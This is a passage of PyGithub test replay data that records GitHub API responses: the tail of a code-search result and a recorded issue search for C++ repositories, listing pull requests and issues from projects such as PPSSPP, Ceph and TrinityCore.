self","matches":[{"text":"toto","indices":[84,88]}]}]},{"name":"data.json","path":"test/data/data.json","sha":"e24a6211264b282e8f60f884722c5f9f1af81c2b","url":"https://api.github.com/repositories/140828333/contents/test/data/data.json?ref=5475c2b8294f90e6b446a0bd334987f0e5ed8ef1","git_url":"https://api.github.com/repositories/140828333/git/blobs/e24a6211264b282e8f60f884722c5f9f1af81c2b","html_url":"https://github.com/jacquev6/splight.fr-generator/blob/5475c2b8294f90e6b446a0bd334987f0e5ed8ef1/test/data/data.json","repository":{"id":140828333,"node_id":"MDEwOlJlcG9zaXRvcnkxNDA4MjgzMzM=","name":"splight.fr-generator","full_name":"jacquev6/splight.fr-generator","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/splight.fr-generator","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/splight.fr-generator","forks_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/forks","keys_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/teams","hooks_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/events","assignees_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/tags","blobs_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/languages","stargazers_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/subscription","commits_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/merges","archive_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/downloads","issues_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/splight.fr-generator/deployments"},"score":10.615608,"text_matches":[{"object_url":"https://api.github.com/repositories/140828333/contents/test/data/data.json?ref=5475c2b8294f90e6b446a0bd334987f0e5ed8ef1","object_type":"FileContent","property":"content","fragment":" laborum.\"\n ],\n \"name\": \"Artiste 1\",\n \"website\": \"https://google.fr/search?q=toto","matches":[{"text":"toto","indices":[92,96]}]}]}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Search.testSearchIssues.txt0000644000175100001660000032454014756101563023434 0ustar00runnerdockerhttps GET api.github.com None /search/issues?sort=comments&q=compile+language%3AC%2B%2B&order=desc {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '29'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:5370:61ACB7C:53140729'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept-Encoding'), ('content-length', '107710'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '30'), ('link', '; rel="next", ; rel="last"'), ('cache-control', 'no-cache'), ('date', 'Mon, 03 Mar 2014 04:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393821541')] {"total_count":29512,"items":[{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/997/events","html_url":"https://github.com/hrydgard/ppsspp/pull/997","id":12068673,"number":997,"title":"Make sceMpeg and sceAtrac basiclly workable for PC ","user":{"login":"oioitff","id":3243757,"avatar_url":"https://avatars.githubusercontent.com/u/3243757","gravatar_id":"3d4824a444d900fa57aff97702f221ec","url":"https://api.github.com/users/oioitff","html_url":"https://github.com/oioitff","followers_url":"https://api.github.com/users/oioitff/followers","following_url":"https://api.github.com/users/oioitff/following{/other_user}","gists_url":"https://api.github.com/users/oioitff/gists{/gist_id}","starred_url":"https://api.github.com/users/oioitff/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/oioitff/subscriptions","organizations_url":"https://api.github.com/users/oioitff/orgs","repos_url":"https://api.github.com/users/oioitff/repos","events_url":"https://api.github.com/users/oioitff/events{/privacy}","received_events_url":"https://api.github.com/users/oioitff/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":1017,"created_at":"2013-03-15T15:46:16Z","updated_at":"2013-06-03T21:25:43Z","closed_at":"2013-06-02T07:08:58Z","pull_request":{"html_url":"https://github.com/hrydgard/ppsspp/pull/997","diff_url":"https://github.com/hrydgard/ppsspp/pull/997.diff","patch_url":"https://github.com/hrydgard/ppsspp/pull/997.patch"},"body":"I use ffmpeg for video decoding and dshow for at3+ audio. And I have tried my best not to break other platforms yet. In fact, the video part which using ffmpeg may also be possible for other platforms.\r\nBy the way, I haven't add the header file and lib for ffmpeg and dshow yet. I'm not sure how to do this and need some helps.","score":0.08252439},{"url":"https://api.github.com/repos/ufz/ogs/issues/275","labels_url":"https://api.github.com/repos/ufz/ogs/issues/275/labels{/name}","comments_url":"https://api.github.com/repos/ufz/ogs/issues/275/comments","events_url":"https://api.github.com/repos/ufz/ogs/issues/275/events","html_url":"https://github.com/ufz/ogs/pull/275","id":23250111,"number":275,"title":"Add interface for PETSc vector","user":{"login":"wenqing","id":1343839,"avatar_url":"https://avatars.githubusercontent.com/u/1343839","gravatar_id":"92f354b0a3a11920792f1075bf067308","url":"https://api.github.com/users/wenqing","html_url":"https://github.com/wenqing","followers_url":"https://api.github.com/users/wenqing/followers","following_url":"https://api.github.com/users/wenqing/following{/other_user}","gists_url":"https://api.github.com/users/wenqing/gists{/gist_id}","starred_url":"https://api.github.com/users/wenqing/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wenqing/subscriptions","organizations_url":"https://api.github.com/users/wenqing/orgs","repos_url":"https://api.github.com/users/wenqing/repos","events_url":"https://api.github.com/users/wenqing/events{/privacy}","received_events_url":"https://api.github.com/users/wenqing/received_events","type":"User","site_admin":false},"labels":[],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/ufz/ogs/milestones/6","labels_url":"https://api.github.com/repos/ufz/ogs/milestones/6/labels","id":413894,"number":6,"title":"PETSc support and performance test","description":"","creator":{"login":"norihiro-w","id":800408,"avatar_url":"https://avatars.githubusercontent.com/u/800408","gravatar_id":"48dbb4167ba59bcbbc83427b10449404","url":"https://api.github.com/users/norihiro-w","html_url":"https://github.com/norihiro-w","followers_url":"https://api.github.com/users/norihiro-w/followers","following_url":"https://api.github.com/users/norihiro-w/following{/other_user}","gists_url":"https://api.github.com/users/norihiro-w/gists{/gist_id}","starred_url":"https://api.github.com/users/norihiro-w/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/norihiro-w/subscriptions","organizations_url":"https://api.github.com/users/norihiro-w/orgs","repos_url":"https://api.github.com/users/norihiro-w/repos","events_url":"https://api.github.com/users/norihiro-w/events{/privacy}","received_events_url":"https://api.github.com/users/norihiro-w/received_events","type":"User","site_admin":false},"open_issues":2,"closed_issues":0,"state":"open","created_at":"2013-08-28T17:10:17Z","updated_at":"2014-02-01T19:44:15Z","due_on":null},"comments":34,"created_at":"2013-11-25T15:40:23Z","updated_at":"2014-02-21T15:41:07Z","closed_at":null,"pull_request":{"html_url":"https://github.com/ufz/ogs/pull/275","diff_url":"https://github.com/ufz/ogs/pull/275.diff","patch_url":"https://github.com/ufz/ogs/pull/275.patch"},"body":"@TomFischer @norihiro-w @endJunction @bilke : The previous pull request about the PETSc interface has been split into four. This is the second part: an interface for PETSc vector.\r\n\r\nAdd class InforMPI in BaseLib/MPI, and changed the corresponding CMakeLists.txt\r\n\r\nAdd test for the number of processors in usage. \r\n\r\nChanges according to the comments by Nori and Dima\r\n\r\nRewrite collectLocalVectors. Some other changes according to Nori's comments. Put calling MPI_Comm_rank local according to a test results on EVE.\r\n1000,000 times calling: 0.02 s\r\n1000,000,000 times calling: 10.77 s\r\n@norihiro-w \r\n","score":0.37365162},{"url":"https://api.github.com/repos/ceph/ceph/issues/289","labels_url":"https://api.github.com/repos/ceph/ceph/issues/289/labels{/name}","comments_url":"https://api.github.com/repos/ceph/ceph/issues/289/comments","events_url":"https://api.github.com/repos/ceph/ceph/issues/289/events","html_url":"https://github.com/ceph/ceph/pull/289","id":14371957,"number":289,"title":"Wip rgw geo rebase","user":{"login":"gregsfortytwo","id":908479,"avatar_url":"https://avatars.githubusercontent.com/u/908479","gravatar_id":"19fc74958678713dfdf1f8ca776f8fbc","url":"https://api.github.com/users/gregsfortytwo","html_url":"https://github.com/gregsfortytwo","followers_url":"https://api.github.com/users/gregsfortytwo/followers","following_url":"https://api.github.com/users/gregsfortytwo/following{/other_user}","gists_url":"https://api.github.com/users/gregsfortytwo/gists{/gist_id}","starred_url":"https://api.github.com/users/gregsfortytwo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gregsfortytwo/subscriptions","organizations_url":"https://api.github.com/users/gregsfortytwo/orgs","repos_url":"https://api.github.com/users/gregsfortytwo/repos","events_url":"https://api.github.com/users/gregsfortytwo/events{/privacy}","received_events_url":"https://api.github.com/users/gregsfortytwo/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":1,"created_at":"2013-05-15T18:19:15Z","updated_at":"2013-07-19T21:28:50Z","closed_at":"2013-07-15T16:33:05Z","pull_request":{"html_url":"https://github.com/ceph/ceph/pull/289","diff_url":"https://github.com/ceph/ceph/pull/289.diff","patch_url":"https://github.com/ceph/ceph/pull/289.patch"},"body":"This branch serves as a rebase of wip-rgw-geo-2 to compress out some fix commits and allow review. This pull request serves for tracking comments, but it should not be merged yet.","score":0.079567954},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721","labels_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/labels{/name}","comments_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/comments","events_url":"https://api.github.com/repos/TrinityCore/TrinityCore/issues/8721/events","html_url":"https://github.com/TrinityCore/TrinityCore/pull/8721","id":9423897,"number":8721,"title":"Core/AHBot: Implemented AHBot based on MaNGOS code","user":{"login":"blipi","id":1239061,"avatar_url":"https://avatars.githubusercontent.com/u/1239061","gravatar_id":"f08738002057f24d190c298a0e269552","url":"https://api.github.com/users/blipi","html_url":"https://github.com/blipi","followers_url":"https://api.github.com/users/blipi/followers","following_url":"https://api.github.com/users/blipi/following{/other_user}","gists_url":"https://api.github.com/users/blipi/gists{/gist_id}","starred_url":"https://api.github.com/users/blipi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/blipi/subscriptions","organizations_url":"https://api.github.com/users/blipi/orgs","repos_url":"https://api.github.com/users/blipi/repos","events_url":"https://api.github.com/users/blipi/events{/privacy}","received_events_url":"https://api.github.com/users/blipi/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Feedback-PatchFix","name":"Feedback-PatchFix","color":"d7e102"},{"url":"https://api.github.com/repos/TrinityCore/TrinityCore/labels/Comp-Core","name":"Comp-Core","color":"FF6600"}],"state":"open","assignee":null,"milestone":null,"comments":217,"created_at":"2012-12-20T04:48:00Z","updated_at":"2014-02-15T22:03:33Z","closed_at":null,"pull_request":{"html_url":"https://github.com/TrinityCore/TrinityCore/pull/8721","diff_url":"https://github.com/TrinityCore/TrinityCore/pull/8721.diff","patch_url":"https://github.com/TrinityCore/TrinityCore/pull/8721.patch"},"body":"CMake must be rerun, there are new folders and include paths.\r\n\r\nI've ported the code from MaNGOS, adapted it, cleaned it a little bit to follow TC coding standards (though further cleaning may be done) and tested it.\r\n\r\nChanges are:\r\n- /game/AuctionHouseBot/ *.cpp, *.h : Base AHBot code\r\n- scripts: Added commands to modify its behaviour\r\n- language: 1145 to 1164 added AHBot command strings\r\n\r\nThe reason behind not using sWorld->GetXConfig and not adding the ConfigKeys to World.h but using a custom class is that this values may be modified ingame by using commands. Doing it through world would have made this impossible.\r\n\r\nAnd that's it, enjoy.","score":0.21822606},{"url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817","labels_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/labels{/name}","comments_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/comments","events_url":"https://api.github.com/repos/cms-sw/cmssw/issues/1817/events","html_url":"https://github.com/cms-sw/cmssw/pull/1817","id":24277400,"number":1817,"title":"High pt taus: TauID for 2014","user":{"login":"jpavel","id":4130483,"avatar_url":"https://avatars.githubusercontent.com/u/4130483","gravatar_id":"676de5ce10ac6f7d28168d04042829bb","url":"https://api.github.com/users/jpavel","html_url":"https://github.com/jpavel","followers_url":"https://api.github.com/users/jpavel/followers","following_url":"https://api.github.com/users/jpavel/following{/other_user}","gists_url":"https://api.github.com/users/jpavel/gists{/gist_id}","starred_url":"https://api.github.com/users/jpavel/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jpavel/subscriptions","organizations_url":"https://api.github.com/users/jpavel/orgs","repos_url":"https://api.github.com/users/jpavel/repos","events_url":"https://api.github.com/users/jpavel/events{/privacy}","received_events_url":"https://api.github.com/users/jpavel/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/analysis-approved","name":"analysis-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/dqm-approved","name":"dqm-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/reconstruction-approved","name":"reconstruction-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/fully-signed","name":"fully-signed","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/tests-approved","name":"tests-approved","color":"009800"},{"url":"https://api.github.com/repos/cms-sw/cmssw/labels/orp-approved","name":"orp-approved","color":"009800"}],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/cms-sw/cmssw/milestones/37","labels_url":"https://api.github.com/repos/cms-sw/cmssw/milestones/37/labels","id":562088,"number":37,"title":"CMSSW_7_0_0","description":"","creator":{"login":"nclopezo","id":1944922,"avatar_url":"https://avatars.githubusercontent.com/u/1944922","gravatar_id":"c37878ac7a56b492e4f8df2a94abbd49","url":"https://api.github.com/users/nclopezo","html_url":"https://github.com/nclopezo","followers_url":"https://api.github.com/users/nclopezo/followers","following_url":"https://api.github.com/users/nclopezo/following{/other_user}","gists_url":"https://api.github.com/users/nclopezo/gists{/gist_id}","starred_url":"https://api.github.com/users/nclopezo/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nclopezo/subscriptions","organizations_url":"https://api.github.com/users/nclopezo/orgs","repos_url":"https://api.github.com/users/nclopezo/repos","events_url":"https://api.github.com/users/nclopezo/events{/privacy}","received_events_url":"https://api.github.com/users/nclopezo/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":91,"state":"closed","created_at":"2014-02-07T13:17:24Z","updated_at":"2014-02-16T18:48:16Z","due_on":"2014-02-19T08:00:00Z"},"comments":122,"created_at":"2013-12-13T22:44:24Z","updated_at":"2014-02-13T15:10:44Z","closed_at":"2014-01-27T11:21:39Z","pull_request":{"html_url":"https://github.com/cms-sw/cmssw/pull/1817","diff_url":"https://github.com/cms-sw/cmssw/pull/1817.diff","patch_url":"https://github.com/cms-sw/cmssw/pull/1817.patch"},"body":"Large upgrade of PFTau sequence. Main changes are\r\n1) Change in algorithm logic\r\n2) Change in data format (new members plus shift from Ref to Ptr)\r\n3) Addition of tau lifetime information\r\n4) Addition of boosted tau subjet techniques\r\n5) Many new discriminants","score":0.11910673},{"url":"https://api.github.com/repos/madlib/madlib/issues/79","labels_url":"https://api.github.com/repos/madlib/madlib/issues/79/labels{/name}","comments_url":"https://api.github.com/repos/madlib/madlib/issues/79/comments","events_url":"https://api.github.com/repos/madlib/madlib/issues/79/events","html_url":"https://github.com/madlib/madlib/pull/79","id":2408877,"number":79,"title":"K-means Clustering","user":{"login":"agorajek","id":371403,"avatar_url":"https://avatars.githubusercontent.com/u/371403","gravatar_id":"192a794658c17862c50f6704a67e47a8","url":"https://api.github.com/users/agorajek","html_url":"https://github.com/agorajek","followers_url":"https://api.github.com/users/agorajek/followers","following_url":"https://api.github.com/users/agorajek/following{/other_user}","gists_url":"https://api.github.com/users/agorajek/gists{/gist_id}","starred_url":"https://api.github.com/users/agorajek/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/agorajek/subscriptions","organizations_url":"https://api.github.com/users/agorajek/orgs","repos_url":"https://api.github.com/users/agorajek/repos","events_url":"https://api.github.com/users/agorajek/events{/privacy}","received_events_url":"https://api.github.com/users/agorajek/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":4,"created_at":"2011-11-30T23:24:11Z","updated_at":"2012-01-03T21:42:48Z","closed_at":"2012-01-03T21:42:18Z","pull_request":{"html_url":"https://github.com/madlib/madlib/pull/79","diff_url":"https://github.com/madlib/madlib/pull/79.diff","patch_url":"https://github.com/madlib/madlib/pull/79.patch"},"body":"Ready for review and merge. Well, by looking at the number of comments so far, maybe not \"for merge\" yet :)","score":0.056832943},{"url":"https://api.github.com/repos/msgpack/msgpack/issues/128","labels_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/labels{/name}","comments_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/comments","events_url":"https://api.github.com/repos/msgpack/msgpack/issues/128/events","html_url":"https://github.com/msgpack/msgpack/issues/128","id":11338741,"number":128,"title":"Discussions on the upcoming MessagePack spec that adds the string type to the protocol.","user":{"login":"kiyoto","id":178554,"avatar_url":"https://avatars.githubusercontent.com/u/178554","gravatar_id":"2e0942c4a8e970da7a03289aa11e46c2","url":"https://api.github.com/users/kiyoto","html_url":"https://github.com/kiyoto","followers_url":"https://api.github.com/users/kiyoto/followers","following_url":"https://api.github.com/users/kiyoto/following{/other_user}","gists_url":"https://api.github.com/users/kiyoto/gists{/gist_id}","starred_url":"https://api.github.com/users/kiyoto/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/kiyoto/subscriptions","organizations_url":"https://api.github.com/users/kiyoto/orgs","repos_url":"https://api.github.com/users/kiyoto/repos","events_url":"https://api.github.com/users/kiyoto/events{/privacy}","received_events_url":"https://api.github.com/users/kiyoto/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/msgpack/msgpack/labels/Spec","name":"Spec","color":"99ccff"}],"state":"closed","assignee":null,"milestone":null,"comments":220,"created_at":"2013-02-24T19:31:10Z","updated_at":"2013-10-09T14:40:00Z","closed_at":"2013-08-17T08:12:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"This issue continues the discussion that started in [this issue](https://github.com/msgpack/msgpack/issues/121), which has grown interminably long.\r\n\r\n* [Here is the link](https://gist.github.com/frsyuki/5022569) to @frsyuki's proposed spec circa Feb. 24, 2013\r\n\r\nHere is to a fruitful, invigorating, productive thread! Hooray chums!","score":0.0373521},{"url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686","labels_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/labels{/name}","comments_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/comments","events_url":"https://api.github.com/repos/hrydgard/ppsspp/issues/1686/events","html_url":"https://github.com/hrydgard/ppsspp/issues/1686","id":13980502,"number":1686,"title":"Danganronpa bug","user":{"login":"CPkmn","id":1909938,"avatar_url":"https://avatars.githubusercontent.com/u/1909938","gravatar_id":"81b5c8a3609d65ca98f2a6107d157e7a","url":"https://api.github.com/users/CPkmn","html_url":"https://github.com/CPkmn","followers_url":"https://api.github.com/users/CPkmn/followers","following_url":"https://api.github.com/users/CPkmn/following{/other_user}","gists_url":"https://api.github.com/users/CPkmn/gists{/gist_id}","starred_url":"https://api.github.com/users/CPkmn/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/CPkmn/subscriptions","organizations_url":"https://api.github.com/users/CPkmn/orgs","repos_url":"https://api.github.com/users/CPkmn/repos","events_url":"https://api.github.com/users/CPkmn/events{/privacy}","received_events_url":"https://api.github.com/users/CPkmn/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":179,"created_at":"2013-05-05T17:17:33Z","updated_at":"2014-02-11T09:04:34Z","closed_at":"2013-09-26T09:29:01Z","pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"I tried a search in the issues here to see if anyone reported this yet, but it seems no one did.\r\n\r\nWhile playing Danganronpa (both the demo and the full release) in PPSSPP I noticed objects are not interactable. This basically makes the game unplayable since the requires object interaction on many occasions. I notice the same issue on JPCSP, however the software rendering mode in JPCSP works with the objects (and has since at least revision 2450, the first software rendering public release; https://code.google.com/p/jpcsp/source/detail?r=2450). Unfortunately I can't check earlier releases' software rendering modes since I don't know how to compile JPCSP.\r\n\r\nI'll attach a picture of what PPSSPP and JPCSP (in software rendering mode) get when hovering over a should-be-interactable object.\r\n\r\n(JPCSP in software rendering mode)\r\n![danganronpa_correct](https://f.cloud.github.com/assets/1909938/463853/31bfc68e-b5a7-11e2-8918-5fc283a0b4bb.png)\r\n\r\n(PPSSPP)\r\n![danganronpa_wrong](https://f.cloud.github.com/assets/1909938/463854/41ff12d4-b5a7-11e2-800b-d70788e39a26.png)","score":0.47607067},{"url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246","labels_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/labels{/name}","comments_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/comments","events_url":"https://api.github.com/repos/crosswalk-project/tizen-extensions-crosswalk/issues/246/events","html_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246","id":27697165,"number":246,"title":"[Application] Add Application API initial support (getAppInfo/getAppsInfo)","user":{"login":"seanlong","id":1661875,"avatar_url":"https://avatars.githubusercontent.com/u/1661875","gravatar_id":"646d59934fbcc020b0a1eb55a6de3e68","url":"https://api.github.com/users/seanlong","html_url":"https://github.com/seanlong","followers_url":"https://api.github.com/users/seanlong/followers","following_url":"https://api.github.com/users/seanlong/following{/other_user}","gists_url":"https://api.github.com/users/seanlong/gists{/gist_id}","starred_url":"https://api.github.com/users/seanlong/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/seanlong/subscriptions","organizations_url":"https://api.github.com/users/seanlong/orgs","repos_url":"https://api.github.com/users/seanlong/repos","events_url":"https://api.github.com/users/seanlong/events{/privacy}","received_events_url":"https://api.github.com/users/seanlong/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":null,"comments":21,"created_at":"2014-02-17T07:45:55Z","updated_at":"2014-02-28T09:34:01Z","closed_at":"2014-02-28T09:34:01Z","pull_request":{"html_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246","diff_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246.diff","patch_url":"https://github.com/crosswalk-project/tizen-extensions-crosswalk/pull/246.patch"},"body":"Please check the design doc at:https://docs.google.com/document/d/10rDpiH2E2bSOp0gg3FNK-2eFIetkPygM98utBv-tB3I/edit\r\n\r\nAs described in the \"plan\" section, these 2 patches are intended to support ApplicationInformation interface and ApplicationManager.getAppinfo/getAppsInfo API.","score":0.10370887},{"url":"https://api.github.com/repos/cyclus/cyclus/issues/641","labels_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/labels{/name}","comments_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/comments","events_url":"https://api.github.com/repos/cyclus/cyclus/issues/641/events","html_url":"https://github.com/cyclus/cyclus/pull/641","id":23102422,"number":641,"title":"Cep18","user":{"login":"gidden","id":1392657,"avatar_url":"https://avatars.githubusercontent.com/u/1392657","gravatar_id":"2887b946470a1cd380d847f0ffaffd38","url":"https://api.github.com/users/gidden","html_url":"https://github.com/gidden","followers_url":"https://api.github.com/users/gidden/followers","following_url":"https://api.github.com/users/gidden/following{/other_user}","gists_url":"https://api.github.com/users/gidden/gists{/gist_id}","starred_url":"https://api.github.com/users/gidden/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/gidden/subscriptions","organizations_url":"https://api.github.com/users/gidden/orgs","repos_url":"https://api.github.com/users/gidden/repos","events_url":"https://api.github.com/users/gidden/events{/privacy}","received_events_url":"https://api.github.com/users/gidden/received_events","type":"User","site_admin":false},"labels":[],"state":"closed","assignee":null,"milestone":{"url":"https://api.github.com/repos/cyclus/cyclus/milestones/26","labels_url":"https://api.github.com/repos/cyclus/cyclus/milestones/26/labels","id":462969,"number":26,"title":"v0.4","description":"The v0.4 release","creator":{"login":"scopatz","id":320553,"avatar_url":"https://avatars.githubusercontent.com/u/320553","gravatar_id":"a6e6385b7870c04692700df9ba93eb27","url":"https://api.github.com/users/scopatz","html_url":"https://github.com/scopatz","followers_url":"https://api.github.com/users/scopatz/followers","following_url":"https://api.github.com/users/scopatz/following{/other_user}","gists_url":"https://api.github.com/users/scopatz/gists{/gist_id}","starred_url":"https://api.github.com/users/scopatz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/scopatz/subscriptions","organizations_url":"https://api.github.com/users/scopatz/orgs","repos_url":"https://api.github.com/users/scopatz/repos","events_url":"https://api.github.com/users/scopatz/events{/privacy}","received_events_url":"https://api.github.com/users/scopatz/received_events","type":"User","site_admin":false},"open_issues":0,"closed_issues":63,"state":"closed","created_at":"2013-10-23T19:58:41Z","updated_at":"2014-02-16T09:42:28Z","due_on":"2014-01-15T08:00:00Z"},"comments":37,"created_at":"2013-11-21T22:24:15Z","updated_at":"2013-12-05T19:31:12Z","closed_at":"2013-12-05T18:31:36Z","pull_request":{"html_url":"https://github.com/cyclus/cyclus/pull/641","diff_url":"https://github.com/cyclus/cyclus/pull/641.diff","patch_url":"https://github.com/cyclus/cyclus/pull/641.patch"},"body":"This is *not* ready to be merged. I'm issuing a PR now so that we can begin the review process. Here you go, @scopatz, @rwcarlsen!\r\n\r\nEdit: The nominal work here is complete. This PR is associated with implementation additions, and PR #644 is associated with deprecated code removal. I'm beginning Cycamore work. ","score":0.07001801},{"url":"https://api.github.com/repos/smspillaz/gjs/issues/1","labels_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/labels{/name}","comments_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/comments","events_url":"https://api.github.com/repos/smspillaz/gjs/issues/1/events","html_url":"https://github.com/smspillaz/gjs/pull/1","id":24796688,"number":1,"title":"Add Code Coverage Support for 